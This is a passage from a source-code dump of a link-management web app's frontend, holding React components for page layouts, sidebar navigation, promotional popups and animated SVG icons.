className=\"rounded-md bg-blue-600 px-2 py-0.5 text-xs font-semibold text-white\">\n                      {badge}\n                    </span>\n                  )}\n                  {isSelected && (\n                    <motion.div\n                      layoutId={layoutGroupId}\n                      className={cn(\n                        \"border-border-subtle bg-bg-default absolute left-0 top-0 -z-[1] size-full rounded-lg border shadow-sm\",\n                      )}\n                      transition={{ duration: 0.25 }}\n                    />\n                  )}\n                </Link>\n              );\n            })}\n          </motion.div>\n        </LayoutGroup>\n\n        {Boolean(quickLinks?.length) && (\n          <LayoutGroup id={`${layoutGroupId}-quicklinks`}>\n            <motion.div\n              layout\n              className=\"relative z-10 flex items-center gap-1\"\n            >\n              {quickLinks!.map(({ id, label, icon: Icon, href }) => {\n                return (\n                  <Link\n                    key={id}\n                    href={href}\n                    target=\"_blank\"\n                    className={cn(\n                      \"text-content-emphasis relative z-10 flex items-center gap-2 px-2.5 py-1 text-sm font-medium\",\n                      \"hover:text-content-subtle z-[11] transition-colors\",\n                    )}\n                  >\n                    <Icon className=\"size-4\" />\n                    <span>{label}</span>\n                    <ArrowUpRight2 className=\"text-content-subtle size-3.5\" />\n                  </Link>\n                );\n              })}\n            </motion.div>\n          </LayoutGroup>\n        )}\n      </div>\n      <div\n        className=\"pointer-events-none absolute inset-y-0 -right-px w-16 bg-gradient-to-l from-neutral-100\"\n        style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/page-width-wrapper.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\n\nexport function PageWidthWrapper({\n  className,\n  children,\n}: {\n  className?: string;\n  children: ReactNode;\n}) {\n  return (\n    <div\n      className={cn(\n        \"@container/page mx-auto w-full max-w-screen-xl px-3 lg:px-6\",\n        className,\n      )}\n    >\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/settings-layout.tsx",
    "content": "import { MaxWidthWrapper } from \"@dub/ui\";\nimport { PropsWithChildren } from \"react\";\nimport { PageContentOld } from \"./page-content\";\n\nexport default function SettingsLayout({ children }: PropsWithChildren) {\n  return (\n    <PageContentOld>\n      <div className=\"relative min-h-[calc(100vh-60px)] md:min-h-[calc(100vh-32px)]\">\n        <MaxWidthWrapper className=\"grid grid-cols-1 gap-5 pb-10 pt-3\">\n          {children}\n        </MaxWidthWrapper>\n      </div>\n    </PageContentOld>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/affiliate-program-popup.tsx",
    "content": "\"use client\";\n\nimport { BlurImage, Button } from \"@dub/ui\";\nimport {\n  arrow,\n  autoUpdate,\n  FloatingArrow,\n  FloatingPortal,\n  offset,\n  shift,\n  useFloating,\n} from \"@floating-ui/react\";\nimport { useRef } from \"react\";\n\nexport function AffiliateProgramPopup({\n  referenceElement,\n  onCTA,\n  onDismiss,\n}: {\n  referenceElement: HTMLElement | null;\n  onCTA: () => void;\n  onDismiss: () => void;\n}) {\n  const arrowRef = useRef<SVGSVGElement>(null);\n\n  const { refs, floatingStyles, context } = useFloating({\n    placement: \"bottom-start\",\n    strategy: \"fixed\",\n    whileElementsMounted(referenceEl, floatingEl, update) {\n      return autoUpdate(referenceEl, floatingEl, update, {\n        // Not good for performance but keeps the arrow and floating element in the right spot\n        animationFrame: true,\n      });\n    },\n    elements: {\n      reference: referenceElement,\n    },\n    middleware: [\n      offset({\n        mainAxis: 12,\n        crossAxis: -10,\n      }),\n      shift({\n        padding: 32,\n      }),\n      arrow({\n        element: arrowRef,\n      }),\n    ],\n  });\n\n  return (\n    <FloatingPortal>\n      <div\n        ref={refs.setFloating}\n        style={floatingStyles}\n        className=\"drop-shadow-sm\"\n      >\n        <div className=\"animate-slide-up-fade relative flex w-[244px] flex-col rounded-lg border border-neutral-200 bg-white p-3 text-left\">\n          <div className=\"relative aspect-video w-full overflow-hidden rounded-md border border-neutral-200 bg-neutral-100\">\n            <BlurImage\n              src=\"https://assets.dub.co/misc/affiliate-program-thumbnail.jpg\"\n              alt=\"thumbnail\"\n              fill\n              className=\"object-cover\"\n            />\n          </div>\n          <h2 className=\"mt-4 text-sm font-semibold text-neutral-700\">\n            New Dub Referrals\n          </h2>\n          <p className=\"mt-1.5 text-xs text-neutral-500\">\n            Share your love for Dub and{\" \"}\n            <strong className=\"font-medium\">\n              earn 30% for each referral for up to 12 months\n            </strong>\n            .\n          </p>\n          <div className=\"mt-4 grid w-full grid-cols-2 gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              className=\"h-7 px-2.5 text-xs\"\n              text=\"Maybe later\"\n              onClick={onDismiss}\n            />\n            <Button\n              type=\"button\"\n              variant=\"primary\"\n              className=\"h-7 px-2.5 text-xs\"\n              text=\"View referrals\"\n              onClick={onCTA}\n            />\n          </div>\n          <FloatingArrow\n            ref={arrowRef}\n            context={context}\n            className=\"stroke-neutral-200\"\n            fill=\"white\"\n            strokeWidth={1}\n            height={10}\n          />\n        </div>\n      </div>\n    </FloatingPortal>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/app-sidebar-nav.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { REFERRAL_ENABLED_PROGRAM_IDS } from \"@/lib/referrals/constants\";\nimport {\n  SubmissionsCountByStatus,\n  useBountySubmissionsCount,\n} from \"@/lib/swr/use-bounty-submissions-count\";\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport { usePartnerMessagesCount } from \"@/lib/swr/use-partner-messages-count\";\nimport { usePayoutsCount } from \"@/lib/swr/use-payouts-count\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport { useProgramReferralsCount } from \"@/lib/swr/use-program-referrals-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport useWorkspaces from \"@/lib/swr/use-workspaces\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport {\n  Bell,\n  Brush,\n  ConnectedDots,\n  CubeSettings,\n  DiamondTurnRight,\n  Folder,\n  Gauge6,\n  Gear2,\n  Gift,\n  Globe,\n  InvoiceDollar,\n  Key,\n  LifeRing,\n  LinesY as LinesYStatic,\n  MarketingTarget,\n  MoneyBills2,\n  Msgs,\n  PaperPlane,\n  Receipt2,\n  ShieldCheck,\n  ShieldKeyhole,\n  Sliders,\n  Tag,\n  Trophy,\n  UserCheck,\n  UserPlus,\n  Users,\n  Users6,\n  Webhook,\n} from \"@dub/ui/icons\";\nimport { Session } from \"next-auth\";\nimport { useSession } from \"next-auth/react\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport { ReactNode, useEffect, useMemo } from \"react\";\nimport { DubPartnersPopup } from \"./dub-partners-popup\";\nimport { Compass } from \"./icons/compass\";\nimport { ConnectedDots4 } from \"./icons/connected-dots4\";\nimport { CursorRays } from \"./icons/cursor-rays\";\nimport { Hyperlink } from \"./icons/hyperlink\";\nimport { LinesY } from \"./icons/lines-y\";\nimport { User } from \"./icons/user\";\nimport { SidebarNav, SidebarNavAreas, SidebarNavGroups } from \"./sidebar-nav\";\nimport { SidebarUsage } from \"./sidebar-usage\";\nimport { useProgramApplicationsCount } from \"./use-program-applications-count\";\nimport { WorkspaceDropdown } from \"./workspace-dropdown\";\n\ntype SidebarNavData = {\n  slug: string;\n  pathname: string;\n  queryString: string;\n  defaultProgramId?: string;\n  session?: Session | null;\n  showNews?: boolean;\n  pendingPayoutsCount?: number;\n  applicationsCount?: number;\n  submittedBountiesCount?: number;\n  unreadMessagesCount?: number;\n  pendingFraudEventsCount?: number;\n  pendingReferralsCount?: number;\n  showConversionGuides?: boolean;\n  partnerNetworkEnabled?: boolean;\n};\n\nconst NAV_GROUPS: SidebarNavGroups<SidebarNavData> = ({\n  slug,\n  pathname,\n  defaultProgramId,\n}) => [\n  {\n    name: \"Short Links\",\n    description:\n      \"Create, organize, and measure the performance of your short links.\",\n    learnMoreHref: \"https://dub.co/links\",\n    icon: Compass,\n    href: slug ? `/${slug}/links` : \"/links\",\n    active:\n      !!slug &&\n      pathname.startsWith(`/${slug}`) &&\n      !pathname.startsWith(`/${slug}/program`) &&\n      !pathname.startsWith(`/${slug}/settings`),\n  },\n  {\n    name: \"Partner Program\",\n    description:\n      \"Kickstart viral product-led growth with powerful, branded referral and affiliate programs.\",\n    learnMoreHref: \"https://dub.co/partners\",\n    icon: ConnectedDots4,\n    href: slug ? `/${slug}/program` : \"/program\",\n    active: pathname.startsWith(`/${slug}/program`),\n    popup: DubPartnersPopup,\n  },\n];\n\nconst NAV_AREAS: SidebarNavAreas<SidebarNavData> = {\n  // Top-level\n  default: ({ slug, pathname, queryString, showNews }) => ({\n    title: \"Short Links\",\n    showNews,\n    direction: \"left\",\n    content: [\n      {\n        items: [\n          {\n            name: \"Links\",\n            icon: Hyperlink,\n            href: `/${slug}/links${pathname === `/${slug}/links` ? \"\" : queryString}`,\n            isActive: (pathname: string, href: string) => {\n              const basePath = href.split(\"?\")[0];\n\n              // Exact match for the base links page\n              if (pathname === basePath) return true;\n\n              // Check if it's a link detail page (path segment after base contains a dot for domain)\n              if (pathname.startsWith(basePath + \"/\")) {\n                const nextSegment = pathname\n                  .slice(basePath.length + 1)\n                  .split(\"/\")[0];\n                return nextSegment.includes(\".\");\n              }\n\n              return false;\n            },\n          },\n          {\n            name: \"Domains\",\n            icon: Globe,\n            href: `/${slug}/links/domains`,\n          },\n        ],\n      },\n      {\n        name: \"Insights\",\n        items: [\n          {\n            name: \"Analytics\",\n            icon: LinesY,\n            href: `/${slug}/analytics${pathname === `/${slug}/analytics` ? \"\" : queryString}`,\n          },\n          {\n            name: \"Events\",\n            icon: CursorRays,\n            href: `/${slug}/events${pathname === `/${slug}/events` ? \"\" : queryString}`,\n          },\n          {\n            name: \"Customers\",\n            icon: User,\n            href: `/${slug}/customers`,\n          },\n        ],\n      },\n      {\n        name: \"Library\",\n        items: [\n          {\n            name: \"Folders\",\n            icon: Folder,\n            href: `/${slug}/links/folders`,\n          },\n          {\n            name: \"Tags\",\n            icon: Tag,\n            href: `/${slug}/links/tags`,\n          },\n          {\n            name: \"UTM Templates\",\n            icon: DiamondTurnRight,\n            href: `/${slug}/links/utm`,\n          },\n        ],\n      },\n    ],\n  }),\n\n  // Program\n  program: ({\n    slug,\n    showNews,\n    pendingPayoutsCount,\n    applicationsCount,\n    submittedBountiesCount,\n    unreadMessagesCount,\n    pendingFraudEventsCount,\n    pendingReferralsCount,\n    partnerNetworkEnabled,\n  }) => ({\n    title: \"Partner Program\",\n    showNews,\n    direction: \"left\",\n    content: [\n      {\n        items: [\n          {\n            name: \"Overview\",\n            icon: Gauge6,\n            href: `/${slug}/program`,\n            exact: true,\n          },\n          {\n            name: \"Payouts\",\n            icon: MoneyBills2,\n            href: `/${slug}/program/payouts?status=pending`,\n            badge: pendingPayoutsCount\n              ? pendingPayoutsCount > 99\n                ? \"99+\"\n                : pendingPayoutsCount\n              : undefined,\n          },\n          {\n            name: \"Messages\",\n            icon: Msgs,\n            href: `/${slug}/program/messages`,\n            badge: unreadMessagesCount\n              ? unreadMessagesCount > 99\n                ? \"99+\"\n                : unreadMessagesCount\n              : undefined,\n          },\n        ],\n      },\n      {\n        name: \"Partners\",\n        items: [\n          {\n            name: \"All Partners\",\n            icon: Users,\n            href: `/${slug}/program/partners`,\n            isActive: (pathname: string, href: string) =>\n              pathname.startsWith(href) &&\n              !pathname.startsWith(`${href}/applications`),\n          },\n          {\n            name: \"Groups\",\n            icon: Users6,\n            href: `/${slug}/program/groups`,\n          },\n          ...(partnerNetworkEnabled\n            ? [\n                {\n                  name: \"Partner Network\",\n                  icon: UserPlus,\n                  href: `/${slug}/program/network` as `/${string}`,\n                  badge: \"New\",\n                },\n              ]\n            : []),\n          {\n            name: \"Applications\",\n            icon: UserCheck,\n            href: `/${slug}/program/partners/applications`,\n            badge: applicationsCount\n              ? applicationsCount > 99\n                ? \"99+\"\n                : applicationsCount\n              : undefined,\n          },\n        ],\n      },\n      {\n        name: \"Insights\",\n        items: [\n          {\n            name: \"Analytics\",\n            icon: LinesYStatic,\n            href: `/${slug}/program/analytics`,\n          },\n          {\n            name: \"Customers\",\n            icon: User,\n            href: `/${slug}/program/customers`,\n            badge: pendingReferralsCount\n              ? pendingReferralsCount > 99\n                ? \"99+\"\n                : pendingReferralsCount\n              : undefined,\n          },\n          {\n            name: \"Commissions\",\n            icon: InvoiceDollar,\n            href: `/${slug}/program/commissions`,\n          },\n          {\n            name: \"Fraud Detection\",\n            icon: ShieldKeyhole,\n            href: `/${slug}/program/fraud`,\n            badge: pendingFraudEventsCount\n              ? pendingFraudEventsCount > 99\n                ? \"99+\"\n                : pendingFraudEventsCount\n              : undefined,\n          },\n        ],\n      },\n      {\n        name: \"Engagement\",\n        items: [\n          {\n            name: \"Bounties\",\n            icon: Trophy,\n            href: `/${slug}/program/bounties`,\n            badge: submittedBountiesCount\n              ? submittedBountiesCount > 99\n                ? \"99+\"\n                : submittedBountiesCount\n              : \"\",\n          },\n          {\n            name: \"Email Campaigns\",\n            icon: PaperPlane,\n            href: `/${slug}/program/campaigns` as `/${string}`,\n          },\n          {\n            name: \"Resources\",\n            icon: LifeRing,\n            href: `/${slug}/program/resources`,\n          },\n        ],\n      },\n      {\n        name: \"Configuration\",\n        items: [\n          {\n            name: \"Rewards\",\n            icon: Gift,\n            href: `/${slug}/program/groups/default/rewards`,\n            arrow: true,\n            isActive: () => false,\n          },\n          {\n            name: \"Links\",\n            icon: Sliders,\n            href: `/${slug}/program/groups/default/links`,\n            arrow: true,\n            isActive: () => false,\n          },\n          {\n            name: \"Branding\",\n            icon: Brush,\n            arrow: true,\n            href: `/${slug}/program/groups/default/branding`,\n            isActive: () => false,\n          },\n        ],\n      },\n    ],\n  }),\n\n  // Workspace settings\n  workspaceSettings: ({ slug }) => ({\n    title: \"Settings\",\n    backHref: `/${slug}`,\n    content: [\n      {\n        name: \"Workspace\",\n        items: [\n          {\n            name: \"General\",\n            icon: Gear2,\n            href: `/${slug}/settings`,\n            exact: true,\n          },\n          {\n            name: \"Billing\",\n            icon: Receipt2,\n            href: `/${slug}/settings/billing`,\n          },\n          {\n            name: \"Domains\",\n            icon: Globe,\n            href: `/${slug}/settings/domains`,\n          },\n          {\n            name: \"Members\",\n            icon: Users6,\n            href: `/${slug}/settings/members`,\n          },\n          {\n            name: \"Integrations\",\n            icon: ConnectedDots,\n            href: `/${slug}/settings/integrations`,\n          },\n          {\n            name: \"Security\",\n            icon: ShieldCheck,\n            href: `/${slug}/settings/security`,\n          },\n        ],\n      },\n      {\n        name: \"Developer\",\n        items: [\n          {\n            name: \"API Keys\",\n            icon: Key,\n            href: `/${slug}/settings/tokens`,\n          },\n          {\n            name: \"Tracking\",\n            icon: MarketingTarget,\n            href: `/${slug}/settings/tracking`,\n          },\n          {\n            name: \"Webhooks\",\n            icon: Webhook,\n            href: `/${slug}/settings/webhooks`,\n          },\n          {\n            name: \"OAuth Apps\",\n            icon: CubeSettings,\n            href: `/${slug}/settings/oauth-apps`,\n          },\n        ],\n      },\n      {\n        name: \"Account\",\n        items: [\n          {\n            name: \"Notifications\",\n            icon: Bell,\n            href: `/${slug}/settings/notifications`,\n          },\n        ],\n      },\n    ],\n  }),\n\n  // User settings\n  userSettings: ({ slug }) => ({\n    title: \"Settings\",\n    backHref: `/${slug}`,\n    hideSwitcherIcons: true,\n    content: [\n      {\n        name: \"Account\",\n        items: [\n          {\n            name: \"General\",\n            icon: Gear2,\n            href: \"/account/settings\",\n            exact: true,\n          },\n          {\n            name: \"Security\",\n            icon: ShieldCheck,\n            href: \"/account/settings/security\",\n          },\n          {\n            name: \"Referrals\",\n            icon: Gift,\n            href: \"/account/settings/referrals\",\n          },\n          {\n            name: \"Notifications\",\n            icon: Bell,\n            href: `/${slug}/settings/notifications`,\n            arrow: true,\n          },\n        ],\n      },\n    ],\n  }),\n};\n\nexport function AppSidebarNav({\n  toolContent,\n  newsContent,\n}: {\n  toolContent?: ReactNode;\n  newsContent?: ReactNode;\n}) {\n  const { slug: paramsSlug } = useParams() as { slug?: string };\n  const pathname = usePathname();\n  const { getQueryString } = useRouterStuff();\n  const { data: session, status } = useSession();\n  const { plan, defaultProgramId } = useWorkspace();\n  const { workspaces } = useWorkspaces();\n\n  // Store the current workspace slug in sessionStorage so we can remember it on account settings pages\n  useEffect(() => {\n    if (paramsSlug) {\n      sessionStorage.setItem(\"dub_last_workspace\", paramsSlug);\n    }\n  }, [paramsSlug]);\n\n  // Validate and clear sessionStorage if user doesn't have access to the stored workspace\n  useEffect(() => {\n    if (status === \"unauthenticated\") {\n      // Clear sessionStorage on logout\n      sessionStorage.removeItem(\"dub_last_workspace\");\n      return;\n    }\n\n    if (workspaces && typeof window !== \"undefined\") {\n      const storedSlug = sessionStorage.getItem(\"dub_last_workspace\");\n      if (storedSlug && !paramsSlug) {\n        // Only validate if we're not currently on a workspace page (to avoid clearing during navigation)\n        const hasAccess = workspaces.some((w) => w.slug === storedSlug);\n        if (!hasAccess) {\n          // User doesn't have access to the stored workspace, clear it\n          sessionStorage.removeItem(\"dub_last_workspace\");\n        }\n      }\n    }\n  }, [workspaces, status, paramsSlug]);\n\n  // Use params slug when available, otherwise try sessionStorage (last visited workspace), then fall back to default workspace\n  const slug =\n    paramsSlug ||\n    (typeof window !== \"undefined\" && workspaces\n      ? (() => {\n          const storedSlug = sessionStorage.getItem(\"dub_last_workspace\");\n          // Validate that the stored slug is accessible by the current user\n          if (storedSlug && workspaces.some((w) => w.slug === storedSlug)) {\n            return storedSlug;\n          }\n          return null;\n        })()\n      : null) ||\n    session?.user?.[\"defaultWorkspace\"];\n\n  const currentArea = useMemo(() => {\n    return pathname.startsWith(\"/account/settings\")\n      ? \"userSettings\"\n      : pathname.startsWith(`/${slug}/settings`)\n        ? \"workspaceSettings\"\n        : pathname.includes(\"/program/campaigns/\") ||\n            pathname.includes(\"/program/messages/\") ||\n            pathname.endsWith(\"/program/payouts/success\")\n          ? null\n          : pathname.startsWith(`/${slug}/program`)\n            ? \"program\"\n            : \"default\";\n  }, [slug, pathname]);\n\n  const { program } = useProgram({\n    enabled: Boolean(currentArea === \"program\" && defaultProgramId),\n  });\n\n  const { payoutsCount: pendingPayoutsCount } = usePayoutsCount<\n    number | undefined\n  >({\n    eligibility: \"eligible\",\n    status: \"pending\",\n    ignoreParams: true,\n    enabled: Boolean(currentArea === \"program\" && defaultProgramId),\n  });\n\n  const applicationsCount = useProgramApplicationsCount({\n    enabled: Boolean(currentArea === \"program\" && defaultProgramId),\n  });\n\n  const { submissionsCount } = useBountySubmissionsCount<\n    SubmissionsCountByStatus[]\n  >({\n    ignoreParams: true,\n    enabled: Boolean(currentArea === \"program\" && defaultProgramId),\n  });\n\n  const submittedBountiesCount =\n    submissionsCount?.find(({ status }) => status === \"submitted\")?.count || 0;\n\n  const { count: unreadMessagesCount } = usePartnerMessagesCount({\n    enabled: Boolean(currentArea === \"program\"),\n    query: {\n      unread: true,\n    },\n  });\n\n  const { fraudGroupCount: pendingFraudEventsCount } = useFraudGroupCount<\n    number | undefined\n  >({\n    query: { status: \"pending\" },\n    enabled: Boolean(currentArea === \"program\" && defaultProgramId),\n    ignoreParams: true,\n  });\n\n  const { data: pendingReferralsCount } = useProgramReferralsCount<number>({\n    query: { status: \"pending\" },\n    ignoreParams: true,\n    enabled: Boolean(\n      currentArea === \"program\" &&\n        defaultProgramId &&\n        REFERRAL_ENABLED_PROGRAM_IDS.includes(defaultProgramId),\n    ),\n  });\n\n  const { canTrackConversions } = getPlanCapabilities(plan);\n\n  return (\n    <SidebarNav\n      groups={NAV_GROUPS}\n      areas={NAV_AREAS}\n      currentArea={currentArea}\n      data={{\n        slug: slug || \"\",\n        pathname,\n        queryString: getQueryString(undefined, {\n          include: [\"folderId\"],\n        }),\n        session: session || undefined,\n        showNews: true,\n        defaultProgramId: defaultProgramId || undefined,\n        pendingPayoutsCount,\n        applicationsCount,\n        submittedBountiesCount,\n        unreadMessagesCount,\n        pendingFraudEventsCount,\n        pendingReferralsCount,\n        showConversionGuides:\n          canTrackConversions && pathname.startsWith(`/${slug}/links`),\n        partnerNetworkEnabled:\n          program && program.partnerNetworkEnabledAt !== null,\n      }}\n      toolContent={toolContent}\n      newsContent={plan && (plan === \"free\" ? <SidebarUsage /> : newsContent)}\n      switcher={<WorkspaceDropdown />}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/dub-partners-popup.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { X } from \"@/ui/shared/icons\";\nimport { BlurImage, useMediaQuery } from \"@dub/ui\";\nimport {\n  arrow,\n  autoUpdate,\n  FloatingArrow,\n  FloatingPortal,\n  offset,\n  shift,\n  useFloating,\n} from \"@floating-ui/react\";\nimport { Play } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useRef } from \"react\";\n\nexport function DubPartnersPopup({\n  referenceElement,\n}: {\n  referenceElement: HTMLElement | null;\n}) {\n  const { isMobile } = useMediaQuery();\n\n  const {\n    plan,\n    defaultProgramId,\n    loading: loadingWorkspace,\n  } = useWorkspace({\n    swrOpts: { keepPreviousData: true },\n  });\n\n  const { canManageProgram } = getPlanCapabilities(plan);\n\n  const [dismissed, setDismissed, { loading: loadingDismissed }] =\n    useWorkspaceStore<undefined | boolean>(\"dubPartnersPopupDismissed\");\n\n  if (\n    // Loading\n    loadingWorkspace ||\n    loadingDismissed ||\n    // hide if workspace can't create a program\n    !canManageProgram ||\n    // hide if there's already a default program\n    defaultProgramId ||\n    // don't show on mobile\n    isMobile ||\n    // hide if already dismissed\n    dismissed\n  )\n    return null;\n\n  return (\n    <DubPartnersPopupInner\n      referenceElement={referenceElement}\n      onDismiss={() => setDismissed(true)}\n    />\n  );\n}\n\nfunction DubPartnersPopupInner({\n  referenceElement,\n  onDismiss,\n}: {\n  referenceElement: HTMLElement | null;\n  onDismiss: () => void;\n}) {\n  const arrowRef = useRef<SVGSVGElement>(null);\n\n  const { refs, floatingStyles, context } = useFloating({\n    placement: \"right\",\n    strategy: \"fixed\",\n    whileElementsMounted(referenceEl, floatingEl, update) {\n      return autoUpdate(referenceEl, floatingEl, update, {\n        // Not good for performance but keeps the arrow and floating element in the right spot\n        animationFrame: true,\n      });\n    },\n    elements: {\n      reference: referenceElement,\n    },\n    middleware: [\n      offset({\n        mainAxis: 12,\n      }),\n      shift({\n        padding: 32,\n      }),\n      arrow({\n        element: arrowRef,\n      }),\n    ],\n  });\n\n  const { slug } = useWorkspace();\n\n  return (\n    <FloatingPortal>\n      <div\n        ref={refs.setFloating}\n        style={floatingStyles}\n        className=\"drop-shadow-sm\"\n      >\n        <div className=\"animate-slide-up-fade relative flex w-[260px] flex-col rounded-lg border border-neutral-900 bg-neutral-800 p-3 text-left\">\n          <div className=\"relative\">\n            <Link\n              href=\"https://dub.co/partners\"\n              target=\"_blank\"\n              className=\"group relative flex aspect-video w-full items-center justify-center overflow-hidden rounded-md border border-neutral-900 bg-neutral-800\"\n            >\n              <BlurImage\n                src=\"https://assets.dub.co/misc/dub-partners-thumbnail.jpg\"\n                alt=\"thumbnail\"\n                fill\n                className=\"object-cover opacity-60\"\n              />\n              <div className=\"relative flex size-10 items-center justify-center rounded-full bg-neutral-900 ring-[6px] ring-black/5 transition-all duration-75 group-hover:ring-[8px] group-active:ring-[7px]\">\n                <Play className=\"size-4 fill-current text-white\" />\n              </div>\n            </Link>\n            <button\n              type=\"button\"\n              onClick={onDismiss}\n              className=\"absolute right-2 top-2 rounded-md bg-black/30 p-1.5 shadow-sm transition-colors duration-75 hover:bg-black/40\"\n            >\n              <X className=\"size-4 text-white\" strokeWidth={2} />\n            </button>\n          </div>\n          <h2 className=\"text-content-inverted mt-4 text-sm font-semibold\">\n            Dub Partners unlocked\n          </h2>\n          <p className=\"mt-1.5 text-xs text-neutral-300\">\n            Kickstart viral product-led growth with powerful, branded partner\n            programs.\n          </p>\n          <div className=\"mt-4 grid w-full grid-cols-2 gap-2\">\n            <Link\n              href={`/${slug}/settings/tracking`}\n              className=\"flex h-7 items-center justify-center whitespace-nowrap rounded-md bg-white/10 px-2.5 text-xs text-white transition-colors duration-150 hover:bg-white/15\"\n            >\n              Quickstart guides\n            </Link>\n            <Link\n              href={`/${slug}/program/new`}\n              className=\"flex h-7 items-center justify-center whitespace-nowrap rounded-md bg-white px-2.5 text-xs text-black transition-colors duration-150 hover:bg-white/90\"\n              onClick={onDismiss}\n            >\n              Create program\n            </Link>\n          </div>\n          <FloatingArrow\n            ref={arrowRef}\n            context={context}\n            className=\"stroke-neutral-900 text-neutral-800\"\n            fill=\"currentColor\"\n            strokeWidth={1}\n            height={10}\n          />\n        </div>\n      </div>\n    </FloatingPortal>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/help-button.tsx",
    "content": "import { CircleQuestion } from \"@dub/ui\";\n\nexport async function HelpButton() {\n  return (\n    <a\n      href=\"https://dub.co/contact/support\"\n      target=\"_blank\"\n      className=\"text-content-default hover:bg-bg-inverted/5 flex size-11 shrink-0 items-center justify-center rounded-lg\"\n    >\n      <CircleQuestion className=\"size-5\" strokeWidth={2} />\n    </a>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/icons/compass.tsx",
    "content": "import { SVGProps, useEffect, useRef } from \"react\";\n\nexport function Compass({\n  \"data-hovered\": hovered,\n  ...rest\n}: { \"data-hovered\"?: boolean } & SVGProps<SVGSVGElement>) {\n  const ref = useRef<SVGPathElement>(null);\n\n  useEffect(() => {\n    if (!ref.current) return;\n\n    if (hovered) {\n      ref.current.animate(\n        [\n          { transform: \"rotate(0)\" },\n          { transform: \"rotate(20deg)\" },\n          { transform: \"rotate(-20deg)\" },\n          { transform: \"rotate(0)\" },\n        ],\n        {\n          duration: 300,\n        },\n      );\n    }\n  }, [hovered]);\n\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...rest}\n    >\n      <g fill=\"currentColor\">\n        <path\n          ref={ref}\n          d=\"M12.536,5.464l-1.806,4.214c-.202,.472-.578,.848-1.05,1.05l-4.214,1.806,1.806-4.214c.202-.472,.578-.848,1.05-1.05l4.214-1.806Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          className=\"[transform-box:fill-box] [transform-origin:center]\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/icons/connected-dots4.tsx",
    "content": "import { SVGProps, useEffect, useRef } from \"react\";\n\nexport function ConnectedDots4({\n  \"data-hovered\": hovered,\n  ...rest\n}: { \"data-hovered\"?: boolean } & SVGProps<SVGSVGElement>) {\n  const ref = useRef<SVGSVGElement>(null);\n\n  useEffect(() => {\n    if (!ref.current) return;\n\n    if (hovered) {\n      ref.current.animate(\n        [{ transform: \"rotate(0)\" }, { transform: \"rotate(180deg)\" }],\n        {\n          duration: 300,\n        },\n      );\n    }\n  }, [hovered]);\n\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      ref={ref}\n      {...rest}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.664\"\n          x2=\"7.586\"\n          y1=\"7.586\"\n          y2=\"4.664\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.414\"\n          x2=\"13.336\"\n          y1=\"4.664\"\n          y2=\"7.586\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.336\"\n          x2=\"10.414\"\n          y1=\"10.414\"\n          y2=\"13.336\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.586\"\n          x2=\"4.664\"\n          y1=\"13.336\"\n          y2=\"10.414\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"3.25\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"3.25\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"14.75\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"14.75\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2\"\n          